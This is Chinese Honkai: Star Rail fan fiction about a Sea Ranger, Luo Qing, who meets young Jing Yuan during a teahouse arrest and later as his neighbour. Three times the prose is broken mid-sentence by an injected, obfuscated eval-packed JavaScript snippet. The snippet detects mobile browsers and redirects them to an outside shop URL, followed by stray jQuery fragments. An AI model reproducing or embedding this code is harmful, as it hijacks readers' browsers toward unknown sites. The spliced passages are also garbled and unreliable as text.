《【崩铁】巡海游侠,但是虚无命途》 1. 序 “我......我喜欢你!” 安详的茶馆里,一道突兀的女声响起,语气微微颤抖,仿佛是下了什么重大的决定一般。 稀稀落落的人各自坐在自己的座位上,面前摆放着各色茶饮,各聊各的,本是一派其乐融融的景象,一瞬间,因为这道声音纷纷静默。 视线齐刷刷朝声音源头望去,然后又默契地遵循“非礼勿视”的礼貌原则,停顿一下后,又一起齐刷刷转了回来。 只是仍然静默的环境暴露了大家隐隐约约迫不及待的吃瓜(划掉)的心情。 最怕~空气突然安静~ 此时,洛清也是这众多吃瓜(划掉)群众的一员。 一个不知道算好还是算坏的消息,她还坐在了吃瓜一线位置,得天独厚的地理环境,堪称影院的vvvip座位,也就是发出声音的那位女生......的邻桌。 洛清假意端起面前加了厚厚奶盖的豪华版仙人快乐茶,吸管凑在嘴边却迟迟没有下口,有意无意地朝邻桌瞥去。 两人皆穿着工造司的制服,看着应该是不远处刚刚下班的工造司员工。 在茶馆这静默的一瞬间,女生拿着一盒精雕细琢的木盒和一封封口贴着爱心的信纸,一汪秋水似的的眼睛直勾勾地盯着面前的男生。 她将信叠在那精致的木盒子上,一起推给了对面,非常含蓄的表白方式。 洛清的目光在那看着足以“买椟还珠”的木盒上停留了一瞬,精巧的盒子十分符合他们工造司“能工巧匠”的小心思,崭新的信纸在上面露出晶莹的光泽。 里面装的东西似乎轻得很,不太像是珠宝首饰一类的贵重物品。 愣神片刻,旁边的女孩子出声: “我们认识有一段时间了吧,第一次和你一起画图纸的时候,你夸我的笔锋遒劲有力,那时候我就对你有好感了,这么几个月过去了,我们朝起夕伏,同事们都说我们看上去......看上去很像一对呢!” 一段真情流露把茶馆本就安静的气氛又降了几个度,大家都摒气凝神,谁知那男生面露难色,把盒子推回之后,艰难开口道: “你是个好女孩,但是对不起。” 女孩的瞳孔微微放大一瞬,眼神仿佛破碎一般,却依旧倔强地推了推盒子:“就算你不喜欢我,也请把它收下吧,就当是了却我一桩心愿......” “我不接受!” “请你收下它吧!” “我不接受!” “请你收下它吧!” “我不接受!” 没想到喝口奶茶也能喝到八点档偶像剧,洛清忽然想到了很多办公室恋情,无数的爱恨纠葛从脑海中划过,心里不禁感叹原来抡大锤真能抡出爱情来,言情小说诚不我欺。 他们就这样“他逃她追”,你推一下我推一下,盒子在桌子上反反复复发出“撕拉”的牵引的声音,大概是因为一点点“烈女怕缠郎”因素,不知道多少个回合过后,男生看似妥协,勉为其难般把盒子端了起来。 本以为事情就要这样结束了,男生正要将其收入囊中,门外忽然一阵吵闹。 一个高高瘦瘦的男生推门而入,弄出好大动静,大家的目光又齐刷刷从小情侣的身上移到了门边。 当然,相比起这位领头人而言,更让大家都坐立不安的,是外面依靠着门边的一位气度非凡的持明,他拊手而立,冷淡得像天间月,轻飘飘地瞥了一眼茶馆内的动静,又轻飘飘地将眼神收了回来,仿佛一切事物都与他无关。 洛清好奇地朝门外看了一眼。 他的额间有一对龙角。 作为仙舟人,洛清不会不清楚那对角代表着什么,这便是持明一族鼎鼎有名的龙尊大人,罗浮的饮月君,周围已经有人窃窃私语,略微打破了这沉重的气氛。 简单打量了这一瞬,洛清的视线很快移到了推门而入的这位领头的少年。 他一身云骑军的制服,一头蓬松的白发随意地用红绳系了一个可有可无的马尾,面对这的老板,在口袋里左掏掏右掏掏好一阵,似乎是业务还不太熟练,最后他掏出了一个身份牌,还有一张搜查令。 “地衡司。” “例行公事,请大家把随身的包打开。” 短促干练的话语结束后,那位男生带着若隐若现的笑容,在整座茶馆巡视一圈之后,最后停留在了这对还没成事的小情侣身边。 为什么他穿着云骑军的制服,却说自己是地衡司的人? 洛清很好奇,所以在那位少年身上多看了一会,直到他越来越近,最后在自己的邻桌站定。 “你好,地衡司例行公事。” “盒子可以打开看看么?”少年似笑非笑,语气听上去非常礼貌。 听到这句话之后,身着工造司制服的男生的身体僵硬了一瞬,他犹豫地看了对面的女生一眼。 女生眼神暗淡,此时的脸色也不太好。 沉默了一小会,她的手轻轻搭在了那个小木盒上,将其从男生的手里抽离出来。 茶馆的氛围再次变得紧张起来,不过大家不再关注男男女女的恋情,而是将注意力放在了“盒子里到底装了什么”,以及“地衡司的人怎么会来”上面。 洛清也不例外,八点档偶像剧秒变悬疑剧,一切仿佛变得精彩起来,她的手还摸着冰冰凉凉的仙人快乐茶,心思早就飞到隔壁桌去了。 随着女生的手轻轻拉开盒子的开关,盖子缓缓掀开,少年嘴角的笑意慢慢变少,沉着地看着里面的东西。 ...... 里面是一条普通得不能再普通的平安结扣。 ......? 哈哈...... 最怕~空气突然安静~ 气氛忽然间有点尴尬。 盒子“啪嗒”一声打开的那一刻,洛清看清里面的东西,瞬间明白了。 少年的脸沉了一瞬,很快又换上了标准的笑容,正打算开口说些什么缓和气氛的话,一抬头,站在他的角度,正巧看到看得津津有味,连仙人快乐茶都不喝了的洛清。 此刻的洛清正目光灼灼地期待下文,突然一个回神,落入一双金色的眼眸,发现那个地衡司来的少年居然目不转睛地盯着自己。 洛清被他的视线看得一愣,脸上隐隐约约的看热闹的表情差点没收住。 哇塞,看我干嘛。 嗯......倒是长得不错。 等等,不对,但是你为什么要盯着我? 我可是大大的良民! 我连包都没有带! 似乎是察觉到少年的眼神有所转移,那对男女也顺着少年的视线看了过来,他们一齐看向了洛清的位置。 等等,你们为什么也盯着我! 这确实是一个很好的转移尴尬的方式,这下不用替人尴尬了,洛清自己也成了尴尬对象,只要大家都尴尬,就可以约等于大家都不尴尬。 很好的办法呢......个鬼啊! 洛清决心要打破这股尴尬,一鼓作气,再而衰,三而竭,最后喝了一口仙人快乐茶,把茶内的黑糖珍珠郑重地咽了下去。 ...... 似乎是并没有察觉到什么不妥,少年的视线简简单单稍作停留,又率先转了回来,重新看向那个盒子,态度略微有些强硬: “不好意思,涉及一些公共事务,这个盒子可能要暂时交给地衡司保管。” “只是一个平安扣而已,地衡司的行政范围未免是否宽了些,你不觉得有点侵犯个人隐私权了吗?”女生冷冰冰地回应道。 “姑娘言重了,既然只是一个平安扣,又何来侵犯隐私的说法。我们也只是例行公事而已,届时一定会完好无损地把盒子归还姑娘。” 八点档悬疑剧突然变成了政法剧,洛清眼睁睁看着少年的笑容不变,也并不打算理会女生带刺的话语,伸手就要把盒子端走。 指尖碰到盒子之际,那女生的袖口突然窜出一把匕首出来,直直地朝那位少年刺去。 随着女生的动作,对面的男生也突然雄起,不知道从哪里抽出一把刀。 哈......啊? 怎么打起来了? 好在那少年反应迅速,微微侧身,只是手臂上轻微擦伤,而后很快格挡了他们俩的攻击,一只手制伏了那位男生以后,又用剑背将女生敲得单膝跪在地上。 八点档政法剧终于还是变成了格斗,茶馆内瞬间乱做一团,见敌不过,那位女生很快从地上爬了起来,然后猛得拽了一下身边最近的洛清,把匕首抵在了她脖子上,桌上的仙人快乐茶震了一下之后翻倒在地。 洛清:? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154389|196514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?? 哦我的仙人快乐茶......不对! 这还有我的事情呢? 那少年明显一愣,眼看着平民被当成人质,正打算说些安抚的话语,顺带思考一下怎么让那女生别激情杀人。 “姑娘别怕,罗浮地衡司不会放弃任何一个平民百姓。” 看着少年上前一步,女生握着匕首的手紧了几分,死死贴着洛清裸露的脖子。 “那个......”洛清觉得自己应该说点什么,看眼看着暴躁的老姐,已经倒地不起的同僚兼情人,还有一个大好人,啊对,大好人。 洛清话到嘴边又觉得似乎说什么都有些多余。 那女生扫了洛清一眼,看着她和健壮完全不搭边的体格,讲起话来也是轻声细语,一副求饶的姿态,微微露出一个不屑的眼神。 啊对,就这样。 看她分神片刻,洛清猛得一抬手肘,那女生还没反应过来她哪里来的力气,洛清已经反手将她的手腕掰过来,顺便抽出她手中的匕首,将她压在了一旁的桌子上。 女生:? 少年:? 洛清:! “你们可千万别误会,我幼时学过一点防身术。”洛清解释道。 少年礼貌微笑。 洛清娴熟的手段,看着可不像是只学过一点防身术。 只是洛清不详说,少年也不拆穿。 而后,这俩狂徒被后来进来的执法人员带走,还有随行的人员说了一些安抚群众的话,洛清看着他们离去的背影,正巧看到那位少年不知道从哪里扯了块可有可无的布系在了自己的手臂上,然后朝门外的龙尊大人招了招手。 所以龙尊大人在这件事故中起了一个什么作用呢。 洛清若有所思。 思考片刻,洛清决定多管一点闲事,帮这个小帅哥一把,于是开口叫住了他: “这个盒子......可以给我看看吗?” 少年回头,他很会管理自己的微表情,但此刻的不解却是明晃晃挂在脸上。 不解,但是他还是把盒子递给了洛清。 洛清摆弄了一下这个盒子。 早年间她游历朱明的时候,遇到过一位能工巧匠,是很典型的民间大师,他非常擅长制作和解密这种复杂的机关盒,大概就是...... 这样这样那样那样...... 洛清在上面轻轻拨动几个机关,盒子传来一阵轻轻的“啪嗒”声,然后露出底层的暗格,里面是一片白色纸片包裹着的粉末状物品。 洛清也不知道那是什么,不过大概猜猜也知道,地衡司就是在找这东西吧。 她轻轻摇了摇手上的小白纸包,然后重新放回盒子里,一齐塞在对面那人的手上。 这确实出乎这位少年的意料,不过他依然很冷静,并且很快问了关键的问题: “你为何会知道这个盒子有问题?” “不知道。”洛清摇摇头,“我猜的,从看到这枚平安扣的时候。它的边角很粗糙,是路边摊十巡镝就能买来的品种。” “送礼物,如果是真心喜欢,买的东西一般会偏贵重,就算经济能力有限,至少也不会买路边摊,如果非要选平安扣的话,大部分人会选择自己编。” “据我了解,工造司的工资不低吧。再说了,地衡司的人都来了,你们应该也不会只是拿他们两个......寻开心吧?” “......” 少年的防备和疑虑少了一点,他沉默一瞬,然后开口: “多谢。” “......” “我叫景元,你叫什么名字?” 少年的脸逐渐变得模糊,嘴角的笑意若隐若现。 他的声音若即若离,慢慢归为平静,慢慢变得空洞。 最后如烟般消散。 . 「这是我第一次遇见他。」 洛清在纸上写下这句话,沉思了一会后,又整段划掉。 不对,应该还有更早的时候。 洛清的记忆有一些模糊,但她又觉得自己是能想起来的。 细节或许会忘掉,但是感觉不会变,在漫长的记忆长河中,有很多感觉会牵动心跳,甚至牵动全身。 洛清突然觉得自己不走记忆命途可惜了。 2. 清夜无尘 「清夜无尘,月色如银。」 「第一次见到景元的时候,是一个温和的凉夜。」 洛清顺着导航找到自己新租的房子,初来罗浮的第一夜,正巧碰上了隔壁邻居做东,不知怎么的请了许多人来家里做客,门外人来人往热闹非凡,门内欢声笑语觥筹交错。 路过邻居门口,洛清好奇地朝内打量一眼,透过完全敞开的大门,隔着吵闹的人群,她看到一个瘦瘦高高的少年。 他衣着朴素,似乎不爱在外貌上花心思,却难掩一身矜贵的气质,少年意气,松风水月,慵懒地将手上的茶杯摆在放着张棋盘的石桌前,茶叶沉底,露出清透的茶汤。 茶汤里,倒映着月亮。 轻晃着仿佛要破碎的月亮。 「有没有一种人,在见到他的第一眼,就可以看出他的命格。」 玉阙仙舟以卜算闻名,洛清从小也跟着母亲耳濡目染了一些,像他这样的人,若是被家乡那些老谋深算的卜者看上了,怕是要感叹一句“通达显贵”的。 事实上,其实就连洛清这种只是跟着母亲学了点皮毛的门外汉也能看得出,哪来那么多的“命中注定”,最后不还是看人么。像他这样悠然自得、闲庭信步的气韵,可不是随随便便就能养出来的。 那必然是生活如意,家庭美满的人,才会有这般的豁达与从容。 隔着来往的人群,洛清看到他朝自己的方向看了一眼。 或许是站得有点久了吸引到了他的注意,又或许他也许根本没有在看自己,只是似有似无地恰巧瞥向了这个方位。 那一对灿若朝阳的眼眸,那一抹无所畏惧的神情,给人的感觉像是在笑。 或者说,不论何种心态,不论何种境遇,他好像都永远是那一双含着笑的眉眼,尽管有的时候,他其实不在笑。 那时的洛清,还说不清这一眼带来的感觉。 . 洛清是因为父母遗物来到罗浮的。 来到罗浮之前,洛清去玉阙看望了她父母的朋友,一位陪着他们出生入死的好战友,一位在当年玉阙战争中活下来的幸存者,同时也是一位已经人至暮年的短生种。 他的生命已经快走到尽头,临去前,他握着洛清的手,看着曾经故人之子,絮絮叨叨说了很多平凡的往事。作为为数不多见过自己父母最后一面的人,他提到,父母给她留了一些......遗物。 不过洛清的父母是死于战争的,这所谓的“遗物”自然也在战争中遗失了。 为此洛清还特地去玉阙官方查证了一下,他们会有一个地方专门存放因为战争而牺牲的人们的遗物,等待家属来认领。 不过洛清去那转悠了一圈,没见到自己的父母给自己留了什么东西。 就在洛清觉得这种东西再也找不回来的时候,这位垂暮的老者给洛清提供了新的线索,让她可以去罗浮看看。 可洛清再想追问一些什么的时候,老人却说不出所以然来,没多久,他便阖上了眼睛,离去、下葬...... 一个短生种的人生就这样结束了,相比较长生种而言,他们几十年的人生犹如朝生暮死的蜉蝣。 说起仙舟罗浮,外来人习惯将罗浮简称为仙舟,不过常年在外奔波的洛清知道,有些罗浮人或许不太喜欢将仙舟与罗浮划等号。 彼时的仙舟诸舟,算不上特别太平,内忧外患,战事频发。 有无数的人走在战乱纷飞的土地上,他们紧贴着颠沛流离的人群,回头看了一眼自己的家乡,然后......便一辈子也没有回去过。 从某种程度上来说,洛清的父母也是战火的受害者,他们因为无休无止的丰饶孽物失去了家园,带着儿时的她东奔西走。 但又从某种程度上来说,他们或许也因此找到了自己人生的道路。 在短暂的调节心态安定人生之后,他们选择为了心中的公义,为了这片寰宇的公义,帮助同样遭遇的人们。 是的,他们是巡海游侠。 从小到大,洛清跟着他们行过了无数星球,看过了无数仙舟之外的风景。 落叶归根......是每一个玉阙人的信仰,而对于一部分人来说,这也是奢望。 因为战争,父母至死也没有再回过玉阙。 到他们离开,洛清选择追随他们的道路继续走下去。 如果一定要探究出身,那玉阙勉强算的上洛清的家乡,但洛清其实并没有在那里长久留过,宇宙之大,四海为家,洛清回想此前的生活,确实算得上“居无定所”。 洛清没能见到他们最后一面,如果他们真的有给自己留下什么东西,洛清自然会在意,更何况,对于巡海游侠来说,他们的遗物有特殊意义。 看来得在罗浮小待一段时间了。 . 那时的洛清还没有想那么多。 . 来到罗浮的第二天,洛清接了一单匿名委托。 巡海游侠是一个很大群体,他们通常喜欢单独行动,大部分人的宗旨也是惩恶扬善,荡尽世界不平事,因为集体性不高,自然也分化出很多形式风格迥异之人,有些人偏佛系一点,会一边游历大好河山一边顺便做点好人好事,有些人比起别人会更加关注自身,也有些血气方刚的......会自己去找好人好事做。 因为这个特性,他们的小团体便自发衍生出一些群,不定期发布一些小道消息,包括但不限于一些星球困境,一些地方秘辛传闻,或是一些恶人悬赏通缉...... 听上去和黑市那些买凶杀人、情报流通贩卖的行径有点像,而巡海游侠恰好也是一批没那么遵守规则之人。 尤其是悬赏通缉,这些“杀了么”订单甚至成为了一些巡海游侠的收入来源,自然,这样存在雇主的信息群对他们来说至关重要。 当然,若有人觉得这些内容有违背自己内心之道的地方,可以无视,可以随时停止,甚至也可以倒反天罡去找发消息的人,个人选择罢了。 于是乎,这些大大小小的群就像星海游侠这个群体一样,散成满天星,也难追根溯源,很少人知道创建管理这些的幕后之人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154390|196514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也很少有人知道究竟是谁有这样强大的情报网,或许他们大不相同。 这样的群,洛清自然也有。 有私人委托,自然也在情理之中。 不过洛清既不算是什么赫赫有名的巡海游侠,也不会刻意去外界把自己宣传地沸沸扬扬,甚至有意隐藏,外人看她的第一眼,或许都不会将她与巡海游侠这个群体联系在一起。 洛清的委托,大部分是她自己接的,一般也都是些小打小闹,跟那些轰轰烈烈打家劫舍杀人放火(划掉)的大买卖完全不沾边,主打一个自己接得开心就好。 毕竟勤勤恳恳做“单王”哪里有云游四海来得爽?路见不平拔刀相助,生活的随机性才是他们这类巡海游侠浪迹天涯的乐趣和挑战,况且,洛清倒也没那么缺钱。 至于洛清接这单的理由,其实也很好理解。 洛清在整理玉阙那场战争的资料的时候,发现一个神奇的地方,根据官方记载,玉阙仙舟的将军在战争一触即发的时候并不在玉阙,因为一些特殊的原因,或许是他自己有什么不得不离开的理由,又或者是这本来就是丰饶民的调虎离山计? 总之洛清也不知道,而战争的局面最终得以控制,有百分之八十的功劳在于罗浮的援军及时赶到,而当时带队的,是名极一时的罗浮持明龙尊......饮月君。 这不巧了吗,洛清觉得线索或许就在这位龙尊身上,又有顺路可以做的委托,不做白不做。 而这单委托又恰恰好好涉及丹鼎司药物流通,这又和龙尊有千丝万缕的关系,如果事情顺利的话,或许可以借此事见他一面,询问一下当年之事。 如果事情不顺利的话......也不要紧,看这委托内容,里面涉及的人也并非善类,就当为民除害了。 雇主给洛清发了一个定位,告诉他任务目标会在午四点到六点左右的时间出现在这个地方,可以去看过了再决定接不接。 洛清可以理解,有些雇主会因为任务目标的特殊性,刻意模糊任务目标的姓名,采用这种委婉迂回的方式,只是告知地点和人物特征,不仅不容易留下证据,还可以保持一些神秘的xx感,甚至有些人甚至还会专门制定一批暗号。 定位的地点在离工造司不远处的一家茶馆内,很多附近上班的人会在这里落脚休息。 在男生彻底接下那个盒子之后,洛清差不多能确定他就是此次任务的目标,不过她确实没想到这俩人居然会在这里演这么一出你侬我侬的深情戏码,还顺带搞了个非常复杂的盒子机关。 然后他们就这么被地衡司的人带走了。 任务目标率先一步吃了牢饭,洛清的委托还没开始就结束了。 行吧,就知道事情不会一直一帆风顺。 记忆逐渐变得清晰。 临去时,她朝景元的背影看了一眼,他身旁长角的持明正耐心地听他说话。 啊......洛清想起来了。 他就是自己路过隔壁时遥遥看了一眼的那个人。 是自己的新邻居。 3. 清夜无尘 洛清租住的地方是一个装修精良的宅院,配置齐全,环境雅致,还配带小花园,除了租金不大便宜,基本没啥缺点。 唯一遗憾的是物业的办事效率,隔天晚上她刚刚因为热水器的问题和他们掰扯了一番,最后喜提七个工作日的处理时间,最后还是她自己换掉的。 刚来罗浮没多久,趁着空闲时间,她收拾了一下行李,顺带打扫一下卫生。 和自己第一次离开父母自立门户吵吵闹闹非要自己闯出一片天的时候不一样,如今的她已经轻车熟路。 她一边收拾,手机就一边嘟嘟嘟滴滴滴地发出声音。 玉行:「图片」. jpg 玉行:「图片」. jpg 玉行:「图片」. jpg 玉行:「图片」. jpg 玉行:「图片」. jpg “玉行”是洛清一次偶然机会认识的网友,非常巧合的是,她也是一位在宇宙中跑来跑去闲不下来的人,据洛清了解,她是一位无名客。 此刻,她正在给洛清发她旅行的照片,一张接着一张不亦乐乎。 像洛清这样四海为家的人,比起交现实朋友,她更习惯于交网友。毕竟大部分地方她也待不长久,因此大部分人也无法时时刻刻碰面,能靠网络维系下去的,还能经常聊上几句的,也算是难得了。 对于很多仙舟人来说,漫长的寿命中,别离是常有的事情,相比于现实生活中人的离去,网友的分分合合显得可以接受得多,不仅可以满足社交需求,更广的范围也让遇到同好的可能性增大。 当然,最主要的是,她目前也是在宇宙中跑来跑去闲不下来的状态,从这一点来看,倒和洛清挺像的。 根据洛清和她聊天的感觉推断,她的为人处世上准则和自己就像两个极端,主打一个萍水相逢即是缘,而洛清恰恰相反,她交朋友可不是广撒网的社交悍匪类型,也做不到谁来了都能开扯的地步。 玉行:在我蹲点七七四十九天的不懈努力下,我终于在隔壁小行星带的安全区域拍到了地表温度低达负一百五十摄氏度的“玻璃雨行星” 玉行:当宇宙风暴潮降临的时候,吹起地表的冰晶会让它的外表呈现“玻璃雨”的状态,透透的,亮亮的...... 我要把他们记录到我的旅行日记里! 玉行:至于我接下来的行程...... 无尘:你接下的行程? 玉行:嘿嘿,暂时保密。 “无尘”是洛清的网名,这也很好理解,毕竟没人会实名上网......吧? 看到这条消息的时候,洛清正在研究工造司新出品的扫地机器人怎么用,正给它装了一节电池,另一节电池就随着对这条消息咕噜噜滚沙发底下去了。 洛清瞟了几眼都没找到那节电池,两相抉择后她干脆放弃,先回来看起了照片。 她一边滑动手指,一边将玉行发过来的照片一一看过去,划到最后一张时,洛清手指一顿。 这并不是一张宇宙奇观风景照,而是一张人的照片,照片上的人只有一张侧脸,没有看镜头,微风吹起发丝给相片增添了一份朦胧感,清晰度也不高,看起来像是什么人偷拍或是抓拍来的。 嗯?怎么看着有点眼熟? 玉行:哎呀......这个不是,这是我朋友,我前几个月临走时偷拍了他的照片,还偷偷给他报名了罗浮杂殂云骑军军草网络评选...... 玉行:嘿嘿......你不说我不说,没人知道是我上传的。 罗浮杂殂云骑军军草网络评选? 这是啥? 洛清觉得这种评选十分无聊,但保持着有瓜不吃白不吃的心态,她还是点开玉兆搜了一下这玩意。 哇塞,还真有。 景元元全肯定bot? 点击即看新一届云骑军军草花落谁家? wc家人们我又有新老公了! ......这都是些什么乱七八糟的。 不知不觉间,洛清已经往下翻了好几个帖子。 后面的内容洛清也没有细看,包括但不限于夸他的容貌惊为天人的,说他是新一代的云骑翘楚家世优渥师承剑首的,还有酸他年纪轻就有此番成就与机缘难说后台有多硬的...... 景......元......? 好耳熟的名字。 洛清试图搜寻记忆,洛清发现大脑过载,洛清决定放弃思考。 她的记忆不算太好。 具体大概是从父母逝去的那场玉阙战争结束以后,她就断断续续有这种感觉,不过正是因为记忆力的原因,模糊来模糊去,她自己也搞不清哪些是忘记了之后想不起来的,哪些是忘记了之后又想起来的。 丹鼎司的诊断报告说是战争后的创伤应激反应,会自主过滤掉一些不太美好的回忆,横竖影响不到正常生活,毕竟洛清能忘的都是不重要的,重要的事情她会选择性记小本本,一般也忘不掉。 哎,想那么多干嘛呢,说不定根本就没有啥创伤啥应激啥啥综合征,就是她打娘胎里脑子就没那么灵光,打了个仗嘎巴一下更不灵光了,丹鼎司的人找个病因糊弄一下罢了。 洛清接着把帖子往下翻了翻,惊奇地发现此人在罗浮杂殂的讨论度居然不低,甚至还有几个专门的词条。 师承剑首?罗浮的剑首镜流......洛清听过她的美名,听说是一位杀伐果断之人,仙舟甚至有她从无败绩的传闻。 好嘛,什么天命之子设定,这还是个关系户。 但是话又说回来了,看帖子之前要干什么来着? 洛清拿着玉兆,原地愣了几秒之后,想起刚刚掉地上的电池还没找着,正打算接着弯腰去找,忽然听到屋子外面一阵窸窸窣窣的声音。 出于一点职业素养,洛清对声音有一点敏感。 她停下手里的事情,缓缓朝窗边靠去。 正巧此时,屋外“砰”得一声传来一声巨响,接着是稀稀落落的碎片声交叠在一起,震得地上的电池又咕噜噜得滚了两下。 当然,这还没有结束,伴随着这声巨响,屋顶的瓦片也同时传来“吱呀吱呀”的声音,紧接着是一阵轻柔的脚步声...... ......? 听起来不太像人的脚步声,洛清心中疑惑,依旧保持警惕,摸索着腰间的佩剑走到窗户的侧边,深吸一口气,然后猛得打开窗户—— 一道黑影快速从眼前闪过! 然后一声“喵呜”瞬间在耳边炸开。 ......? 只见一只母猫领着一窝刚出生的小猫,在墙角边上一只一只地舔过来舔回去,几只小猫也并不安分,蹭着地上碎裂地瓦片,蹭出一阵又一阵清脆的响声。 洛清粗略地数一数,一二三四五六七...... 嗯,还挺能生。 大猫这刚叫一声,小猫们也有模有样地跟着叫了n声,此起彼伏缠缠绵绵,至于猫爸又用实际行动诠释了什么叫婚姻中缺失的爹,提起猫毛就不认猫了,孩子也不管老婆也不管,目前处于一个查无此公猫只有大母猫的状态。 趁着洛清数数期间,这群猫......们又互相扭动着打碎了一个盆栽。 额,哇,坏猫。 虽然不知道这群猫是怎么来的,不过它们显然把洛清的小院子当成了风水宝地,看样子是要在这里安身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154391|196514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立命。 从感性的角度分析,这是一窝可爱的生命。 当然,从理性的角度分析,这群小猫如果一直在这里,按照这个叫声频率,晚上睡觉时候的声音一定相当精彩。即使不谈扰民问题,也一定会把外头拉得到处都是...... 洛清的想法是,应该把他们送走。 她的第一反应是找物业,不过因为热水器事件,洛清不敢恭维他们的处理效率。 直接拖个箱子丢成路边几条...... 这也不太好,万一它们乱跑又跑回来了怎么办,小猫不好活不说,回头被邻居看到了还得怀疑是她弃养的,那岂不是跳进波月古海也洗不清。 送给朋友......依旧不太现实,先不说洛清在罗浮根本也就不认识几个人,就说她认识的能找到人的,大部分也是四海为家,四海为家带只猫?也不是说没有吧,但大多数人带个人养都不会带个猫。 当然还有一个办法,那就是洛清大发慈悲自己全养了(?) 啊哈哈哈哈...... 有一说一,洛清没有养猫经验,可能会出现一些完全不可控事件,再说了这一窝都可以直接开猫咖了,养了之后还有精力做别的事么...... 无尘:我的出租屋里面,不,外边有很多猫,而我自己身边却没几个称得上热爱小动物的朋友。 玉行:......嗯? 玉行:你咋啦! 正当洛清划玉兆寻找靠谱解决办法的时候,说来也巧,她看到了一条广告占据了浏览器首页。 这是啥?罗浮地衡司市民专线? 还有赫大的宣传标语——有困难就找地衡司! 等一下!提供免费□□......? 让地衡司来管猫猫狗狗吗?洛清感觉有一点点魔幻现实主义。 但是洛清看上了他们的免费□□,听起来周全靠谱且适合懒货,周全指□□,靠谱指地衡司,懒货是她自己。 咳咳,这样她就不用从现在开始找宠物店啦收容所一类的地方了,运气不好说不定还得她来回跑。 唯一的缺点就是...... 地衡司的处理效率应该也没多高吧? 洛清随手拿出玉兆搜了一下,发现还真有这么一个热线,她挑了一个地衡司指定官服账号0517的联络方式,而后啪啪啪一通操作输出讲明情况,顺便附了几张猫猫和它们打碎盆栽的照片。 问问又不要钱,试试就试试吧。 把所有内容发完以后,洛清刚想松一口气,余光瞥见一张突兀的照片,她突然发觉自己在勾选照片的时候,竟然把先前和玉行聊天和浏览罗浮杂殂时,系统云端保存在本地的景元的照片也一起发过去了。 啊这,手快了。 洛清一愣,连忙撤回。 淡定,小场面。 对面未必来得及反应,说不定还是个人机呢。 而后玉兆就这么不合时宜地响了一下。 地衡司指定官方账号0517:你认识照片上的人吗? 嗯? 虽然洛清也没明白对面为何要刨根问底一句,不过他既然问了,洛清还是“回答”了一下。 无尘:这和我要处理的事情无关吧。 地衡司指定官方账号0517:好的,抱歉,是我唐突了。 地衡司指定官方账号0517:您的问题已经反馈,在合理的时间范围内我们会就近派相关工作人员前来处理,请您提供一下家庭住址,耐心等待工作人员的处理进展。 无尘:你们大概是什么会过来? 地衡司指定官方账号0517:明天。 哦.....啊?这么快? 4. 清夜无尘 仙舟地衡司,隶属仙舟六御之一,负责仙舟的庶务管理,管理的事务多而繁杂,上到税务人口统计,下到居民宣传教育,说重要也不重要,说不重要却也挺重要的。 寰宇太平年间,仙舟暂无战事,除了操练军队,重整军备这类重要的军务事宜,彼时的罗浮也花了很多心思在人文民生关怀之上,注重生理心理均衡且健康的发展。 为此,地衡司为了响应中央号召,和太卜司联合,用上了最新的玉兆系统,特别开设了一个全新的地衡司专用官方网络账号,对外宣称是罗浮市民热线。 这样的好处是便宜且便捷。以后大家有什么需求,便不用在地衡司门口大排长龙,而可以先在这个账号上面报备一番,若是相对没那么重要的事情,也可以直接派人去解决,甚至都省得人家多跑一趟地衡司了,节省时间啊。 像这样的“市民热线”,地衡司先前也开过好多,但差评也不少,因为很多人都觉得这个热线如同摆设,无法解决问题不说,客服还普遍像个人机,来来回回就那几句“请您耐心等待”之类的话。 地衡司的执事长痛定思痛,总结下来还是人口太多但人手不够的问题,当然了,有些人把这当许愿池似的,提一些完全无法解决的要求,那别说地衡司束手无策,那就是将军来了也无从下手啊。 景元最近......就因此得到了一份工作—— 成为了一名“辛勤”的地衡司幕后人员,接管了这个账号的回复工作,帮助有需要的市民解决一些问题。 说起他来这的前因后果...... 起初也是因为他家一直希望他收敛心性的“大家长”们,为此他们甚至请了镜流当说客,美名其曰积累基层工作经验,实际上也是希望景元做了这份工作,然后爱上这份工作,最好无法自拔,以后就地衡司一直待着吧。 他的双亲,并不希望他长留云骑军,但也不会过多干涉他的生活,整体表现为“大不了都试试”、“你不试试你怎么知道喜不喜欢”这样的心态。 好死不死他提起这件事的时候,遭到了自己某个不愿意透露姓名的龙尊好哥哥“嘲笑”的眼光,觉得以景元的性子肯定做不来这样“安静”的工作。 真是的,还不允许他不服气么。 只要他想做的事情,没有做不成的。 但说实话,基层话务员岗也算不上多轻松,每天都是一些陈皮麻烂谷子的纠纠缠缠,原本呢,景元的父母是给他安排了一个更加清闲的文书工作,奈何景元正是叛逆的年纪,他不太想走这个后门,于是他就抢先一步自己来地衡司自己找了份差事。 